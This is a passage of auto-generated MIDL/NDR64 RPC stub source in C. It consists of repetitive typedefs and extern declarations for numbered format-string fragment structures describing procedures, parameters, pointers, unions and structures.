frag18;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n    } frag2;\n}\n__midl_frag484_t;\nextern const __midl_frag484_t __midl_frag484;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag483_t;\nextern const __midl_frag483_t __midl_frag483;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag482_t;\nextern const __midl_frag482_t __midl_frag482;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n    } frag2;\n}\n__midl_frag480_t;\nextern const __midl_frag480_t __midl_frag480;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag479_t;\nextern const __midl_frag479_t __midl_frag479;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag478_t;\nextern const __midl_frag478_t __midl_frag478;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag477_t;\nextern const __midl_frag477_t __midl_frag477;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag476_t;\nextern const __midl_frag476_t __midl_frag476;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag473_t;\nextern const __midl_frag473_t __midl_frag473;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag471_t;\nextern const __midl_frag471_t __midl_frag471;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag470_t;\nextern const __midl_frag470_t __midl_frag470;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag469_t;\nextern const __midl_frag469_t __midl_frag469;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag463_t;\nextern const __midl_frag463_t __midl_frag463;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag458_t;\nextern const __midl_frag458_t __midl_frag458;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag457_t;\nextern const __midl_frag457_t __midl_frag457;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag452_t;\nextern const __midl_frag452_t __midl_frag452;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag444_t;\nextern const __midl_frag444_t __midl_frag444;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag438_t;\nextern const __midl_frag438_t __midl_frag438;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag434_t;\nextern const __midl_frag434_t __midl_frag434;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag423_t;\nextern const __midl_frag423_t __midl_frag423;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag414_t;\nextern const __midl_frag414_t __midl_frag414;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag413_t;\nextern const __midl_frag413_t __midl_frag413;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag412_t;\nextern const __midl_frag412_t __midl_frag412;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag410_t;\nextern const __midl_frag410_t __midl_frag410;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag408_t;\nextern const __midl_frag408_t __midl_frag408;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag407_t;\nextern const __midl_frag407_t __midl_frag407;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag406_t;\nextern const __midl_frag406_t __midl_frag406;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag405_t;\nextern const __midl_frag405_t __midl_frag405;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag404_t;\nextern const __midl_frag404_t __midl_frag404;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag403_t;\nextern const __midl_frag403_t __midl_frag403;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag401_t;\nextern const __midl_frag401_t __midl_frag401;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag397_t;\nextern const __midl_frag397_t __midl_frag397;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag396_t;\nextern const __midl_frag396_t __midl_frag396;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag394_t;\nextern const __midl_frag394_t __midl_frag394;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag391_t;\nextern const __midl_frag391_t __midl_frag391;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag387_t;\nextern const __midl_frag387_t __midl_frag387;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag384_t;\nextern const __midl_frag384_t __midl_frag384;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag383_t;\nextern const __midl_frag383_t __midl_frag383;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag382_t;\nextern const __midl_frag382_t __midl_frag382;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    NDR64_UINT32 frag4;\n}\n__midl_frag381_t;\nextern const __midl_frag381_t __midl_frag381;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag380_t;\nextern const __midl_frag380_t __midl_frag380;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag379_t;\nextern const __midl_frag379_t __midl_frag379;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag378_t;\nextern const __midl_frag378_t __midl_frag378;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag377_t;\nextern const __midl_frag377_t __midl_frag377;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag374_t;\nextern const __midl_frag374_t __midl_frag374;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag366_t;\nextern const __midl_frag366_t __midl_frag366;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag363_t;\nextern const __midl_frag363_t __midl_frag363;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag347_t;\nextern const __midl_frag347_t __midl_frag347;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag344_t;\nextern const __midl_frag344_t __midl_frag344;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag337_t;\nextern const __midl_frag337_t __midl_frag337;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag329_t;\nextern const __midl_frag329_t __midl_frag329;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag315_t;\nextern const __midl_frag315_t __midl_frag315;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag312_t;\nextern const __midl_frag312_t __midl_frag312;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag302_t;\nextern const __midl_frag302_t __midl_frag302;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n    struct _NDR64_POINTER_FORMAT frag11;\n    struct _NDR64_POINTER_FORMAT frag12;\n    struct _NDR64_POINTER_FORMAT frag13;\n    struct _NDR64_POINTER_FORMAT frag14;\n    struct _NDR64_POINTER_FORMAT frag15;\n    struct _NDR64_POINTER_FORMAT frag16;\n    struct _NDR64_POINTER_FORMAT frag17;\n    struct _NDR64_POINTER_FORMAT frag18;\n    struct _NDR64_POINTER_FORMAT frag19;\n}\n__midl_frag284_t;\nextern const __midl_frag284_t __midl_frag284;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag282_t;\nextern const __midl_frag282_t __midl_frag282;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag281_t;\nextern const __midl_frag281_t __midl_frag281;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag278_t;\nextern const __midl_frag278_t __midl_frag278;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag277_t;\nextern const __midl_frag277_t __midl_frag277;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag269_t;\nextern const __midl_frag269_t __midl_frag269;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag268_t;\nextern const __midl_frag268_t __midl_frag268;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag266_t;\nextern const __midl_frag266_t __midl_frag266;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag265_t;\nextern const __midl_frag265_t __midl_frag265;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_MEMPAD_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag32;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag33;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag34;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag35;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag36;\n    } frag2;\n}\n__midl_frag256_t;\nextern const __midl_frag256_t __midl_frag256;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag255_t;\nextern const __midl_frag255_t __midl_frag255;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n    struct _NDR64_POINTER_FORMAT frag11;\n    struct _NDR64_POINTER_FORMAT frag12;\n    struct _NDR64_POINTER_FORMAT frag13;\n    struct _NDR64_POINTER_FORMAT frag14;\n}\n__midl_frag254_t;\nextern const __midl_frag254_t __midl_frag254;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n    } frag2;\n}\n__midl_frag235_t;\nextern const __midl_frag235_t __midl_frag235;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag234_t;\nextern const __midl_frag234_t __midl_frag234;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n}\n__midl_frag233_t;\nextern const __midl_frag233_t __midl_frag233;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n    } frag2;\n}\n__midl_frag218_t;\nextern const __midl_frag218_t __midl_frag218;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag217_t;\nextern const __midl_frag217_t __midl_frag217;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n}\n__midl_frag216_t;\nextern const __midl_frag216_t __midl_frag216;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n    } frag2;\n}\n__midl_frag204_t;\nextern const __midl_frag204_t __midl_frag204;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag203_t;\nextern const __midl_frag203_t __midl_frag203;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n}\n__midl_frag202_t;\nextern const __midl_frag202_t __midl_frag202;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n    } frag2;\n}\n__midl_frag196_t;\nextern const __midl_frag196_t __midl_frag196;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag195_t;\nextern const __midl_frag195_t __midl_frag195;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM 